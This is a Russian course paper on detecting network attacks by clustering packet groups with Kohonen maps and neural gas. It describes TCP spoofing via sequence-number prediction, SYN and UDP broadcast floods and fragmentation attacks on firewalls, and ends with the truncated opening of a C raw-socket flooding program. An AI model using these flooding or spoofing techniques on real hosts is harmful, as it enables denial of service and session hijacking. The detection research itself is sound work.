Курсовая работа: Кластеризация групп входящих пакетов с помощью нейронных сетей конкурирующего типа

Содержание

Введение

1. Описание способа решения задачи

2. Теоретическая часть

2.1 Что такое Data mining и KDD?

2.2 Описание рассматриваемых хакерских атак

2.2.1 Подмена одного из субъектов TCP-соединения в сети Internet

2.2.2 Нарушение работоспособности хоста в сети Internet при использовании направленного “шторма” ложных TCP-запросов на создание соединения либо при переполнении очереди запросов

2.2.3 Другие виды атак

2.3 Сеть с самоорганизацией на основе конкуренции

2.3.1 Состав сети Кохонена

2.3.2 Меры расстояния между векторами

2.3.3 Способы нормализации входных данных

2.3.4 Алгоритм обучения карты Кохонена

2.3.5 Механизм утомления

2.3.6 Алгоритм нейронного газа

3. Формализация задачи

4. Эксперимент

5. Результаты работы модели

Заключение

Список используемой литературы

Листинг программ

Введение

Наряду с развитием средств электронной связи происходило развитие средств нарушения работоспособности информационных каналов. В настоящее время усиливается оснащение вычислительной техники механизмами защиты от несанкционированного доступа, вирусов, спама, хакерских атак и т.д. Это так называемые брандмауэры, файрволлы, фильтры пакетов. Операционные системы также усиливают свой боевой арсенал. Несмотря на это ежедневно продолжается нарушаться работа различных компьютеров: от головных серверов до рабочих станций от действия вредоносных программ. В данной работе автор хотел расклассифицировать группы входящих пакетов, поступающих на одну из рабочих станций в ЛВС, методами интеллектуального анализа данных. Впоследствии, зная принадлежность той или иной группы к классу хакерских атак, по заданному количеству поступивших пакетов можно определить грядущую угрозу рабочей станции.

1. Описание способа решения задачи

Во-первых, следует выбрать параметры, позволяющие оценить текущее состояние входящего трафика. Из-за того, что по одному пакету нельзя определить начало атаки, то параметры должны быть интегральными по некоторой группе пакетов. Это можно сделать путём оценивания n-подряд идущих пакетов, причём чем больше n, тем более точным должен быть результат классификации.

Во вторых, необходимо создать интеллектуальную базу данных для построения интеллектуальной модели системы, это можно сделать путём проведения серии экспериментов, чередуя посылку пакетов, вызванных злонамеренными действиями, и обычных пакетов между компьютерами.

Третьим шагом, служит создание интеллектуальной системы оценивания входящих пакетов, причём обучающей базой для построения модели служит база созданная на шаге 2.

Наконец, после обучения интеллектуальной системы требуется объяснить результаты моделирования и проверить работу модели в реальных условиях.

2. Теоретическая часть

2.1. Что такое Data mining и KDD?

“Большинство исследователей и экспертов накапливают за время своей деятельности большие, а организации – просто гигантские объемы данных. Но единственное что люди могут, а в большинстве случаев и хотят получить от них – это быстрое извлечение требуемой информации. Фактически базы данных выполняют функцию памяти, или сложной записной книжки; доступ пользователя к хранилищу данных обеспечивает только извлечение небольшой части из хранимой информации в ответ на четко задаваемые вопросы. Когда мы имеем огромный поток информации, огромные залежи накопленной информации, встает задача максимально целесообразно использовать эту информацию, чтобы извлечь спрятанное в данных знание с целью оптимизировать управление какими-либо процессами, улучшить деятельность организации, более точно узнать свойства и законы функционирования, присущие очень сложным объектам, таким, скажем, как медицинские организации, биологические системы или организм человека.

Можно было бы действовать старым проверенным способом, то есть посадить огромную армию аналитиков, статистиков, которые бы с этими данными разбирались, используя традиционные средства анализа данных. Но, очевидно, что уже сейчас эта задача не может быть решена только силами человека просто в силу гигантского объема данных. Можно сказать, что экстенсивный путь использования интеллекта человека в принципе не позволяет решить эту задачу, и для ее решения требуется качественно иной подход. С другой стороны такое решение просто дорого и экономически неэффективно. Кроме того, не всегда получаемые аналитиками результаты являются объективными, поскольку обычно люди руководствуются, явно или неявно, теми или иными соображениями, некоторыми априорными представлениями об изучаемом предмете, что не может не отразиться на объективности получаемых ими результатов.

А можно ли узнать из данных о том, какое решение наиболее предпочтительно для конкретной задачи, как организовать ресурсы бизнеса наиболее эффективным образом или как минимизировать издержки и при этом переложить значительную часть аналитической работы на плечи Машины? Хотелось бы автоматизировать процесс анализа и сделать его более объективным, а именно: получить некоторую технологию, которая бы автоматически извлекала из данных новые нетривиальные знания в форме моделей, зависимостей, законов и т.д., гарантируя при этом их статистическую значимость. Новейшая технология,

Knowledge discovery in databases (дословно, «обнаружение знаний в базах данных») – аналитический процесс исследования человеком большого объема информации с привлечением средств автоматизированного исследования данных с целью обнаружения скрытых в данных структур или зависимостей. Предполагается полное или частичное отсутствие априорных представлений о характере скрытых структур и зависимостей. KDD включает предварительное осмысление и неполную формулировку задачи (в терминах целевых переменных), преобразование данных к доступному для автоматизированного анализа формату и их предварительную обработку, обнаружение средствами автоматического исследования данных (data mining) скрытых структур или зависимостей, апробация обнаруженных моделей на новых, не использовавшихся для построения моделей данных и интерпретация человеком обнаруженных моделей.

Data mining (дословно, «разработка данных») – исследование и обнаружение “машиной” (алгоритмами, средствами искусственного интеллекта) в сырых данных скрытых структур или зависимостей, которые

– ранее не были известны,

– нетривиальны,

– практически полезны,

– доступны для интерпретации человеком.

Направленная на решение этих проблем – это технология knowledge discovery in databases (KDD). KDD – это синтетическая область, впитавшая в себя последние достижения искусственного интеллекта, численных математических методов, статистики и эвристических подходов. Цель технологии – нахождение моделей и отношений, скрытых в базе данных, таких моделей, которые не могут быть найдены обычными методами. Следует отметить, что на плечи Машины перекладываются не только “рутинные” операции (скажем, проверка статистической значимости гипотезы), но и операции, которые ранее было отнюдь не принято называть рутинными (выработка новой гипотезы). KDD позволяет увидеть такие взаимоотношения между данными, которые прежде даже не приходили в голову исследователю, а применение которых может способствовать увеличению эффективности работы и исследований, а в нашем конкретном случае позволит выявлять пакеты, являющиеся прямым следствием посягательством на вычислительные ресурсы.

2.2 Описание рассматриваемых хакерских атак

2.2.1 Подмена одного из субъектов TCP-соединения в сети Internet.

Протокол TCP (Transmission Control Protocol) является одним из базовых протоколов транспортного уровня сети Internet. Этот протокол позволяет исправлять ошибки, которые могут возникнуть в процессе передачи пакетов, и является протоколом с установлением логического соединения - виртуального канала. По этому каналу передаются и принимаются пакеты с регистрацией их последовательности, осуществляется управление потоком пакетов, организовывается повторная передача искаженных пакетов, а в конце сеанса канал разрывается. При этом протокол TCP является единственным базовым протоколом из семейства TCP/IP, имеющим дополнительную систему идентификации сообщений и соединения. Именно поэтому протоколы прикладного уровня FTP и TELNET, предоставляющие пользователям удаленный доступ на хосты Internet, реализованы на базе протокола TCP.

Для идентификации TCР-пакета в TCP-заголовке существуют два 32-разрядных идентификатора, которые также играют роль счетчика пакетов. Их названия - Sequence Number и Acknowledgment Number. Также нас будет интересовать поле, называемое Control Bits.

Это поле размером 6 бит может содержать следующие командные биты (слева направо):

URG: Urgent Pointer field significant ACK: Acknowledgment field significant PSH: Push Function RST: Reset the connection SYN: Synchronize sequence numbers FIN: No more data from sender

Далее рассмотрим схему создания TCP-соединения (рис. 1).

Рис. 1. Схема создания TCP-соединения

Предположим, что хосту А необходимо создать TCP-соединение с хостом В. Тогда А посылает на В следующее сообщение:

1. A - > B: SYN, ISSa

Это означает, что в передаваемом A сообщении установлен бит SYN (synchronize sequence number), а в поле Sequence Number установлено начальное 32-битное значение ISSa (Initial Sequence Number).

В отвечает:

2. B - > A: SYN, ACK, ISSb, ACK(ISSa+1)

В ответ на полученный от А запрос В отвечает сообщением, в котором установлен бит SYN и установлен бит ACK; в поле Sequence Number хостом В устанавливается свое начальное значение счетчика - ISSb; поле Acknowledgment Number содержит значение ISSa, полученное в первом пакете от хоста А и увеличенное на единицу.

А, завершая рукопожатие (handshake), посылает:

3. A - > B: ACK, ISSa+1, ACK(ISSb+1)

В этом пакете установлен бит ACK; поле Sequence Number содержит ISSa + 1; поле Acknowledgment Num-ber содержит значение ISSb + 1. Посылкой этого пакета на хост В заканчивается трехступенчатый handshake, и TCP-соединение между хостами А и В считается установленным.

Теперь хост А может посылать пакеты с данными на хост В по только что созданному виртуальному TCP-каналу:

4. A - > B: ACK, ISSa+1, ACK(ISSb+1); DATA

Из рассмотренной выше схемы создания TCP-соединения видно, что единственными идентификаторами TCP-абонентов и TCP-соединения являются два 32-бит-ных параметра Sequence Number и Acknowledgment Number. Следовательно, для формирования ложного TCP-пакета атакующему необходимо знать текущие идентификаторы для данного соединения - ISSa и ISSb. Проблема возможной подмены TCP-сообщения становится еще более важной, так как анализ протоколов FTP и TELNET, реализованных на базе протокола TCP, показал, что проблема идентификации FTP- и TELNET-пакетов целиком возлагается данными протоколами на транспортный уровень, то есть на TCP. Это означает, что атакующему достаточно, подобрав соответствующие текущие значения идентификаторов TCP-пакета для данного TCP-соединения (например, данное соединение может представлять собой FTP- или TELNET-подключение), послать пакет с любого хоста в сети Internet от имени одного из участников данного соединения (например, от имени клиента), и данный пакет будет воспринят как верный! К тому же, так как FTP и TELNET не проверяют IP-адреса отправителей, от которых им приходят сообщения, то в ответ на полученный ложный пакет, FTP- или TELNET-сервер отправит ответ на указанный в ложном пакете настоящий IP-адрес атакующего, то есть атакующий начнет работу с FTP- или TELNET-сервером со своего IP-адреса, но с правами легально подключившегося пользователя, который, в свою очередь, потеряет связь с сервером из-за рассогласования счет- чиков.

Итак, для осуществления описанной выше атаки необходимым и достаточным условием является знание двух текущих 32-битных параметров ISSa и ISSb, идентифицирующих TCP-соединение. Рассмотрим возможные способы их получения.

В том случае, когда атакующий находится в одном сегменте с целью атаки или через его сегмент проходит трафик предполагаемого объекта атаки, то задача получения значений ISSa и ISSb является тривиальной и решается путем анализа сетевого трафика. Следовательно, надо четко понимать, что протокол TCP позволяет, в принципе, защитить соединение только в случае невозможности перехвата атакующим сообщений, передаваемых по данному соединению, то есть в случае нахождения атакующего в других сегментах относительно абонентов TCP-соединения.

Поэтому наибольший интерес для нас представляют межсегментные атаки, когда атакующий и его цель находятся в разных сегментах сети. В этом случае задача получения значений ISSa и ISSb не является тривиальной. Далее предлагается следующее решение данной проблемы.

Рис. 2. Подмена одного из участников TCP-соединения

Рис.2.1. X-Hacker посылает на Хост A серию TCP-запросов на создание соединения, заполняя тем самым очередь запросов, с целью вывести из строя на некоторое время Хост A.

Рис2.2. X-Hacker от имени Хоста A посылает запрос на создание TCP-соединения на Хост B.

Рис.2.3 Хост B отвечает хосту A на предыдущий запрос.

Рис.2.4 Хост X-Hacker никогда не получит значения ISNb' от хоста B, но, используя математическое предсказание ISN, посылает на B от имени A пакет с ISNb'. При этом Хост A не может послать пакет с битом RST.

2.2.2 Нарушение работоспособности хоста в сети Internet при использовании направленного "шторма" ложных TCP-запросов на создание соединения, либо при переполнении очереди запросов

Из рассмотренной в предыдущем пункте схемы создания TCP-соединения следует, что на каждый полученный TCP-запрос на создание соединения операционная система должна сгенерировать начальное значение идентификатора ISN и отослать его в ответ на запросивший хост. При этом, так как в сети Internet (стандарта IPv4) не предусмотрен контроль за IP-адресом отправителя сообщения, то невозможно отследить истинный маршрут, пройденный IP-пакетом, и, следовательно, у конечных абонентов сети нет возможности ограничить число возможных запросов, принимаемых в единицу времени от одного хоста. Поэтому возможно осуществление типовой удалённой атаки "Отказ в обслуживании", которая будет заключаться в передаче на атакуемый хост как можно большего числа ложных TCP-запросов на создание соединения от имени любого хоста в сети (рис. 3). При этом атакуемая сетевая ОС в зависимости от вычислительной мощности компьютера либо - в худшем случае - практически зависает, либо - в лучшем случае - перестает реагировать на легальные запросы на подключение (отказ в обслуживании). Это происходит из-за того, что для всей массы полученных ложных запросов система должна, во-первых, сохранить в памяти полученную в каждом запросе информацию и, во-вторых, выработать и отослать ответ на каждый запрос. Таким образом, все ресурсы системы "съедаются" ложными запросами: переполняется очередь запросов и система занимается только их обработкой. Эффективность данной удаленной атаки тем выше, чем больше пропускная способность канала между атакующим и целью атаки, и тем меньше, чем больше вычислительная мощь атакуемого компьютера (число и быстродействие процессоров, объем ОЗУ и т. д.).

Рис.3 Нарушение работоспособности хоста в Internet, использующее направленный шторм ложных TCP-запросов на создание соединения

Другая разновидность атаки "Отказ в обслуживании" состоит в передаче на атакуемый хост нескольких десятков (сотен) запросов на подключение к серверу, что может привести к временному (до 10 минут) переполнению очереди запросов на сервере. Это происходит из-за того, что некоторые сетевые ОС устроены так, чтобы обрабатывать только первые несколько запросов на подключение, а остальные - игнорировать. То есть при получении N запросов на подключение, ОС сервера ставит их в очередь и генерирует соответственно N ответов. Далее, в течение определенного промежутка времени, (тайм-аут 10 минут) сервер будет дожидаться от предполагаемого клиента сообщения, завершающего handshake и подтверждающего создание виртуального канала с сервером. Если атакующий пришлет на сервер количество запросов на подключение, равное максимальному числу одновременно обрабатываемых запросов на сервере, то в течение тайм-аута остальные запросы на подключение будут игнорироваться и к серверу будет невозможно подключиться.

В заключение необходимо отметить, что в существующем стандарте сети Internet IPv4 нет приемлемых способов надежно обезопасить свои системы от этой удаленной атаки. К счастью, атакующий в результате осуществления описанной атаки не сможет получить несанкционированный доступ к вашей информации. Он сможет лишь "съесть" вычислительные ресурсы вашей системы и нарушить ее связь с внешним миром. Остается надеяться, что нарушение работоспособности вашего хоста просто никому не нужно.

Для противодействия подобным атакам необходимо должным образом изменить конфигурацию систем и политику безопасности. Статистика показывает, что 90% узлов, подключенных к Internet, восприимчивы к таким атакам.

2.2.3 Другие виды атак

В настоящее время технологии лавинных атак предусматривают блокировку отслеживания источника. В процессе такой атаки вместо заранее заданных используются случайные IP-адреса.

Можно использовать и другой транспортный протокол. Например, широко распространена атака, осуществляющей лавинную блокировку по протоколу UDP при помощи широковещательных пакетов на систему под управлением WINNT. Широковещание может производиться на канальном и сетевом уровнях. Широковещание на канальном уровне производится в рамках одной текущей физической сети, в то время как широковещание на сетевом уровне осуществляется в пределах всех сетей, подключенных к текущей физической сети.

Известно, что каждый подключенный к сети компьютер под управлением WINNT должен ответить на UDP-дейтаграмму с широковещательным адресом. Такие ответы сами по себе являются причиной затора в сети – так называемого “широковещательного шторма”.

Другим слабым местом атакуемого хоста могут стать брандмауэры, например файрволл FW-1 не проверяет и не регистрирует фрагментированные пакеты до тех пор, пока они не будут вновь полностью собраны. Соответственно, посылая тысячи несвязанных фрагментированных пакетов на интерфейс атакуемого брандмауэра, удалённый нападающий может привести систему в нерабочее состояние.

2.3 Сеть самоорганизации на основе конкуренции

Основу самоорганизации нейронных сетей составляет подмеченная закономерность, что глабальное упорядочение сети становится возможным в результате самоорганизующихся операций, независимо друг от друга проводящихся в различных сегментах сети. В соответствии с поданными входными сигналами осуществляется активация нейронов, которые вследствие изменения значений синаптических весов адаптируются к поступающим входным выборкам. При этом происходит естественное расслоение нейронов в различные группы. Отдельные нейроны или их группы сотрудничают между собой и активизируются в ответ на возбуждение, создаваемое конкретными обучающими выборками. При этом можно говорить как о сотрудничестве между нейронами внутри группы, так и о конкуренции между нейронами внутри группы и между различными группами. Среди механизмов самоорганизации особую популярность получил механизм конкуренции между нейронами на базе обобщенного правила Хебба.

Время обучения задачам распознавания и кластеризации сети Кохонена более, чем в сто раз меньше времени обучения аналогичным задачам многослойного персептрона. Одними из определяющих характеристик сети Кохонена являются её хорошие способности к обобщению, позволяющие получать правильный выход даже при неполном или зашумлённом входном векторе.

2.3.1 Состав сети с самоорганизацией на основе конкуренции

Нейроны реализуют функцию порогового суммирования взвешенных входов. Нейрон с максимальным значением взвешенной суммы (на заданных входной вектор), является «победителем». На его выходе формируется уровень логической «1», а на выходах остальных нейронов – «0».

Перед обучением (самообучения) сети Кохонена, протекающим без учителя, необходимо выполнить предварительную нормализацию входных и весовых векторов.

После нормализации входных векторов при активации сети вектором x в конкурентной борьбе побеждает тот нейрон, веса которого в наименьшей степени отличаются от соответствующих компонентов этого вектора. Для w-того нейрона-победителя выполняется отношение

где d(x,w) обозначает расстояние (в смысле выбранной метрики) между векторами x и w, а n – количество нейронов. Вокруг нейрона-победителя образуется топологическая окрестность Sw(k) с определённой энергетикой, уменьшающейся с течением времени. Нейрон-победитель и все нейроны, лежащие в пределах его окрестности, подвергаются адаптации, в ходе которой их векторы весов изменяются в направлении вектора x по правилу Кохонена:

для i принадл Sw(k), где обозначен коэффициент обучения i-го нейрона из окрестности Sw(k) в k-тый момент времени. Значение уменьшается с увеличением расстояния между i-тым нейроном и победителем. Веса нейронов, находящихся за пределами Sw(k) не изменяются. Размер окрестности и коэффициенты обучения нейронов являются функциями, значения которых уменьшаются с течением времени.

После предъявления двух различных векторов x, например, x1 и x2, активизируются два нейрона сети, веса которых наиболее близки к координатам соответствующих векторов x1 и x2. Эти веса, обозначенные в векторной форме w1 и w2, могут отображаться в пространстве как две точки. Сближение векторов x1 и x2 вызывает соответствующее изменение в расположении векторов w1 и w2. В пределе равенство w1-w2 выполняется тогда и только тогда, когда x1 и x2 совпадают или практически неотличимы друг от друга. Сеть, в которой эти условия выполняются, называется топографической картой, или картой Кохонена.

2.3.2 Меры расстояния между векторами.

Процесс самоорганизации предполагает определение победителя каждого этапа. В этой ситуации важной проблемой становится выбор метрики, в которой будет измеряться расстояние между векторами x и w.

Чаще всего в качестве меры расстояния используются:

эвклидова мера

скалярное произведение

мера относительно нормы L1

мера относительно нормы L∞

2.3.3 Способы нормализации исходных данных

Для успешного обучения и функционирования нейронной сети Кохонена желательно, чтобы диапазоны изменения наблюдаемых величин не отличались друг от друга или отличались незначительно. Это требуется для того чтобы предотвратить чрезмерный вклад компонента исходных данных с широким диапазоном в модификацию весов.

Наиболее распространенным способы нормализации является масштабирование исходных данных в некоторый диапазон:

,

,

Формула (4.1) осуществляет масштабирование в диапазон [0;1]. Формула (4.2) – в диапазон [-1;1].

Расчетные значения параметра, полученные в результате функционирования нейросети, масштабируются в диапазон [min(p); max(p)] при помощи обратных формул.

2.3.4 Механизм утомления

При инициализации весов сети случайным образом часть нейронов может оказаться в области пространства, в которой отсутствуют данные или их количество ничтожно мало. Эти нейроны имеют мало шансов на победу и адаптацию своих весов, поэтому они остаются мёртвыми. Таким образом, входные данные будут интерпретироваться меньшим количеством нейронов (мёртвые нейроны не принимают участие в анализе), а погрешность интерпретации данных, иначе называемая погрешностью квантования, увеличится. Поэтому важной проблемой становиться активация всех нейронв сети.

Такую активацию можно осуществить, если в алгоритме обучения предусмотреть учёт количества побед каждого нейрона, а процесс обучения организовать так, чтобы дать шанс победить и менее активным нейронам. Такой способ учёта активности нейронов будет называться в дальнейшем механизмом утомления.

Существуют различные механизмы учёта активности нейронов в процессе обучения. Часто используется метод подсчёта потенциала pi каждого нейрона, значение которого модифицируется всякий раз после представления очередной реализации входного вектора x в соответствии со следующей формулой (в ней предполагается, что победителем стал w-й нейрон):

Значение коэффициента pmin определяет минимальный потенциал, разрешающий участие в конкурентной борьбе. Если фактическое значение потенциала pi падает ниже pmin, i-й нейрон “отдыхает”, а победитель ищется среди нейоронов, для которых выполняется отношение

для 1<=i<=N и pi>=pmin. Максимальное значение потенциала ограничивается на уровне, равном 1. Выбор конкретного pmin позволяет установить порог готовности нейрона к конкурентной борьбе. При pmin=0 утомляемость нейронов не возникает, и каждый из них сразу после победы будет готов к продолжению соперничества. При Pmin=1 возникает другая крайность, вследствие которой нейроны побеждают по очереди, так как в каждый момент времени только один из них оказывается готовым к соперничеству. На практике хорошие результаты достигаются, когда pmin=0.75.

2.3.5 Алгоритм обучения карты Кохонена

Основным отличием данной технологии от наиболее распространенного обучения методом обратного распространения, является то, что обучение проходит без учителя, то есть результат обучения зависит только от структуры входных данных.

Алгоритм функционирования самообучающихся карт Алгоритм SOM подразумевает использование упорядоченной структуры нейронов. Обычно используются одно и двумерные сетки. При этом каждый нейрон представляет собой n-мерный вектор-столбец своих весовых коэффициентов:

,

где n определяется размерностью исходного пространства (размерностью входных векторов). Применение одно и двумерных сеток связано с тем, что возникают проблемы при отображении пространственных структур большей размерности.

Обычно нейроны располагаются в узлах двумерной сетки с прямоугольными или шестиугольными ячейками. При этом, нейроны также взаимодействуют друг с другом. Величина этого взаимодействия определяется расстоянием между нейронами на карте. На рисунке даны примеры расстояний для шестиугольной и четырехугольной сеток.

При этом легко заметить, что для шестиугольной сетки расстояние между нейронами больше совпадает с евклидовым расстоянием, чем для четырехугольной сетки. Количество нейронов в сетке определяет степень детализации результата работы алгоритма, и, в конечном счете, от этого зависит точность обобщающей способности карты.

Рис.4 – Расстояние между нейронами на шестиугольной (а) и четырехугольной (б) сетках

Перед началом обучения карты необходимо проинициализировать весовые коэффициенты нейронов. Удачно выбранный способ инициализации может существенно ускорить обучение, и привести к получению более качественных результатов. Существуют два основных способа инициирования начальных весов:

· Инициализация случайными значениями - всем весам даются малые случайные величины.

· Инициализация примерами – всем весам в качестве начальных значений задаются значения случайно выбранных примеров из обучающей выборки.

Обучение состоит из последовательности коррекций векторов, представляющих собой нейроны. На каждом шаге обучения из исходного набора данным случайно выбирается один из векторов (обозначим его х), а затем производится поиск наиболее схожего с ним вектора коэффициентов нейронов. При этом выбирается нейрон-победитель, который наиболее схожий с вектором входов. Под «схожестью» в данной задаче понимается некоторая метрика, заданная в пространстве входных векторов. В качестве метрики обычно используется расстояние в евклидовом пространстве. Узел нейрона-победителя для входного вектора после обучения нейросети называется «наиболее подходящим узлом» (Best Matching Unit – BMU).

Таким образом, если обозначить нейрон-победитель номером c, то:

,

После того, как найден нейрон-победитель, производится корректировка весов нейросети. При этом вектор, описывающий нейрон-победитель и вектора, описывающие его соседей в сетке, перемещаются в направлении входного вектора. Это проиллюстрировано на рисунке для двумерного вектора.

Рис.5 – Подстройка весов нейрона победителя и его соседей

При этом для модификации весовых коэффициентов используется формула:

,

где t обозначает номер эпохи (номер итерации обучения).

Функция h(t) называется функцией соседства нейронов. Эта функция представляет собой невозрастающую функцию от времени и расстояния между нейроном-победителем и соседними нейронами в сетке. Эта функция разбивается на две части: собственно функцию расстояния и функции скорости обучения от времени:

,

где r – координаты нейрона в сетке.

Обычно применяется одна из двух функций от расстояния: простая константа:

,

или Гауссова функция:

,

При этом является убывающей функцией от времени. Эту величину называют радиусом обучения. Он выбирается достаточно большим на начальном этапе обучения и постепенно уменьшается так, что в конечном итоге обучается один нейрон-победитель. Наиболее часто используется функция, линейно убывающая от времени.

Функция скорости обучения также представляет собой функцию, убывающую от времени. Наиболее часто используются два варианта этой функции: линейная и обратно пропорциональная времени вида:

,

где A и B это константы. Применение этой функции приводит к тому, что все вектора из обучающей выборки вносят примерно равный вклад в результат обучения.

Обучение состоит из двух основных фаз: на первоначальном этапе выбирается достаточно большое значение скорости обучения и радиуса обучение, что позволяет расположить вектора нейронов в соответствии с распределением примеров в выборке, а затем производится точная подстройка весов, когда значения параметров скорости обучения много меньше начальных.

2.3.6 Алгоритм нейронного газа

В этом алгоритме на каждой итерации все нейроны сортируются в зависимости от их расстояния до вектора x. После сортировки нейроны размечаются в последовательности, соответствующей увеличению удалённости.

где dk=|x-wm(i)| обозначает удалённость i-того нейрона, занимающего в результате сортировки m-ю позицию в последовательности, возглавляемой нейроном-победителем, которому сопоставлена удаленность d0. Значение функции соседства для i-того нейрона G(i,x) определяется по формуле:

в которой m(i) обозначает очерёдность, полученную в результате сортировки (m(i)=1,2,3,…,n-1), а лямбда - параметр, аналогичный уровню соседства в алгоритме Кохонена, уменьшающийся с течением времени. При лямбда =0 адаптации подвергается только нейрон-победитель, и алгоритм превращается в обычный алгоритм WTA, но при уточнению подлежат веса многих нейронов, причём уровень уточнения зависит от величины G(i,x).

Для достижения хороших результатов самоорганизации процесс обучения должен начинаться с большого значения лямбда, однако с течением времени его величина уменьшается до нуля.

3. Формализация задачи

В качестве группы пакетов, выступающих в качестве обучающего примера, возьмём 10 подряд идущих поступающих на рабочую станцию пакетов. Для построения модели оценим в каждой группе следующие параметры:

1.Число пакетов поступивших от хостов “своей” ЛВС.

2.Число фрагментированных пакетов.

3.Число TCP-пакетов.

4.Число UDP-пакетов.

5.Максимальное число пакетов в группе, пришедших от одного из хостов-отправителей.

6.Принадлежность хоста, отправителя наибольшего числа пакетов. (1 - “своя” ЛВС, 0 - иначе)

7.Средняя загрузка процессора (без учёта приложений не связанных с сетью). (%)

8.Изменение загрузки процессора с времени получения первого пакета до времени получения последнего пакета (без учёта приложений не связанных с сетью).(%)

9.Средний размер пакета. (байт)

10.Число пакетов размером в интервале с 0.8*x до 1.2*x, где x – средний размер пакета.

11. Число доступных хостов.

12. Число различных хостов.

Вышеперечисленные параметры будут являться входами модели. Пользователю следует определить размер карты Кохонена, а также параметры настройки нейронной сети. Остаётся только сгенерировать различные пакеты TCP, UDP и ICMP как обычные, так и “хакерские”, и переслать их на хост, ведущий журнал входящих пакетов и их параметров. Из данного журнала пакеты объединяются в группы (10 последовательно идущих пакетов). Для каждой группы определяются выделенные интегральные критерии.

Полученные данные служат для самообучения сети.

4. Эксперимент

На локальную станцию (192.168.0.3) поступают следующие пакеты:

TCP – обычные пакеты от станций собственной ЛВС. Соединение происходит в обычном режиме. Передача файлов.

ICMP – обычные пакеты, “проверка связи”.

UDP – обычные пакеты от станций ЛВС, обмен данными между приложениями BroodWar, Blizzard Intertainment.

TCP – обычные пакеты от хостов, на принадлежащих “своей” ЛВС, передача файлов.

TCP – “хакерские” пакеты. Паническая атака.

ICMP – пакеты, являющиеся следствием широковещательного шторма.

UDP – “хакерские” пакеты (посылка широковещательного шторма).

TCP – “хакерские” пакеты, фрагментрованные и не связанные между собой (aтака на файрфолл).

Эксперимент представляет собой посылку и запоминание чередующихся обычных и “опасных” пакетов. Причём в группе, относящийся к классу зарождающейся атаки, могут присутствовать и совершенно безвредные пакеты с данными и сообщениями. Того как заранее определённое число пакетов было получено и после предобработки в группы произошло обучение модели, необходимо произвести визуализацию карты Кохонена. На карте, состоящей из квадратов, где за каждый квадрат отвечает один нейрон, производится заливка в зависимости от класса опасности. Нейроны, отвечающие за класс - тотальная атака (большое число опасных пакетов), окрашиваются в более тёмно красные цвета, нейроны, классифицирующие обычную работу станции в сети (приём-передача данных), окрашены в более нейтральные цвета.

5. Результаты работы модели

1.Стандартный алгоритм Кохонена. Карта 10*10 нейронов.

Рис.5 Визуализация карты Кохонена при обучении стандартным алгоритмом Кохонена

Из-за того что многие нейроны после обучения остались мертвыми нейронная сеть имеет высокую погрешность квантования.

Самые опасные классы характеризуются следующими параметрами: небольшие по размеру пакеты, значительное количество пакетов одного типа, например только ICMP или UDP, и одного размера, во время получения этих групп пакетов происходит существенная загрузка процессора, значительная часть хостов - отправителей не доступны. Другим опасным классом является кластер с большими по размерам фрагментированными пакетами.

2.Стандартный алгоритм Кохонена с учётом соседства. Карта 10*10 нейронов.

Рис.6 Визуализация карты Кохонена при обучении стандартным алгоритмом Кохонена с учётом соседства

Из-за подстройки большего числа нейронов значительная часть нейронов – “живая”. Погрешность квантования значительно ниже. Визуально прослеживается группирование опасных групп пакетов. Между двумя основными очагами опасности (в левом и правом углах карты) расположены группы пакетов соответствующие безопасной передаче.

3.Обучение карты признаков с механизмом утомления. Карта 10*10 нейронов.

Рис.7 Визуализация карты Кохонена при обучении с использованием механизма утомления.

4. Обучение карты признаков с механизмом утомления и подстройкой соседей. Карта 10*10 нейронов.

Рис.8 Визуализация карты Кохонена при обучении обучении с использованием механизма утомления и подстройкой соседей.

5 .Алгоритм нейронного газа.=

Рис.9 Визуализация карты Кохонена при обучении. Алгоритмом нейронного газа

Большой разброс по карте различных цветов объясняется самим алгоритмом обучения: здесь соседство нейронов не зависит от расположения нейронов на карте признаков.

Кроме визуализации карты важны также значения синаптических весов. Синаптический вес W0=1- поляризация нейрона.

Пример.1

Рис.10 Карта Кохонена. 5*5 нейронов.

Ниже даны значения синаптических весов для каждого из “живых” нейронов.

Табл. 1. Весовые коэффициенты нейронов карты Кохонена для примера 1.

Заключение

В результате проделанной работы создана интеллектуальная система анализа входящего трафика по классам опасности. Система построена на использовании нейронной сети конкурирующего типа. Реализовано обучение сети пятью методами самоорганизации: классический (с настройкой соседей и без неё), механизм утомления (с настройкой соседей и без неё) и алгоритм нейронного газа. В качестве обучающей выборки были использованы данные из журнала входящего трафика, содержащие как пакета передачи данных и управляющие пакеты, так и “опасные” пакеты направленные на нарушение работы хоста (атака для создания доверительного TCP – соединения, лавинное заваливание ICMP и UDP пакетами, передача крупных несвязанных фрагментированных пакетов). Входящие пакеты объединялись в группы и для каждой из групп определялись интегральные критерии на принадлежность к классу опасности. В результате самообучения нейронной сети создан классификатор входящих пакетов.

Список используемой литературы

1. Джон Чирилло. Обнаружение хакерских атак. Для профессионалов (+CD). – СПб.: Питер 2003. – 864 с.: ил.

2. И.Д. Медведовский, П.В. Семьянов, В.В. Платонов. Атака через Internet. Москва. НПО "Мир и семья-95" - 1997 3.Арсеньев С. “Извлечение данных из медицинских баз данных”

4. Круглов В.В., Борисов В.В. “Искусственные нейронные сети. Теория и практика”. –2-е изд., стереотип. - Москва: Горячая линия – Телеком, 2002 г. – 382 с.: ил.

5. Горбань А.Н., Россиев Д.А. “Нейронные сети на персональном компьютере” – Новосибирск: Наука. Сибирская издательская фирма РАН, 1996 г. –276 с.: ил.

6. Ф. Уоссерман “Нейрокомпьютерная техника: теория и практика” – Москва.: Мир, 1992 –182 стр.: ил.

7. Корнеев В.В., Гареев А.Ф., Васютин С.В., Райх В.В. “Базы данных. Интеллектуальная обработка информации” – Москва.: “Нолидж”, 2000 г., - 356с.: ил.

8. Осовский Станислав. Нейронные сети для обработки информации. М: Финансы и статистика. 2002 г. –335 с: ил.

9. Назаров А.В., Лоскутов А.И. Нейросетевые алгоритмы прогнозирования и оптимизации систем. Санкт-Петергург, Наука и техника. 2003 г. -

Листинг программ

1.Атака лавинного типа (запрос на создание TCP-соедиения)

#include <stdio.h>

#include <sys/types.h>

#include <sys/socket.h>

#include <netdb.h>

#include <netinet/in.h>

#include <netinet/in_systm.h>

#include <netinet/ip.h>

#include <netinet/ip_icmp.h>

#ifdef REALLY_RAW

#define FIX(x) htons(x)

#else

#define FIX(x) (x)

#endif

int

main(int argc, char **argv)

{

int s;

char buf[1500];

struct ip *ip = (struct ip *)buf;

struct icmp *icmp = (struct icmp *)(ip + 1);

struct hostent *hp;

struct sockaddr_in dst;

int offset;

int on = 1;

bzero(buf, sizeof buf);

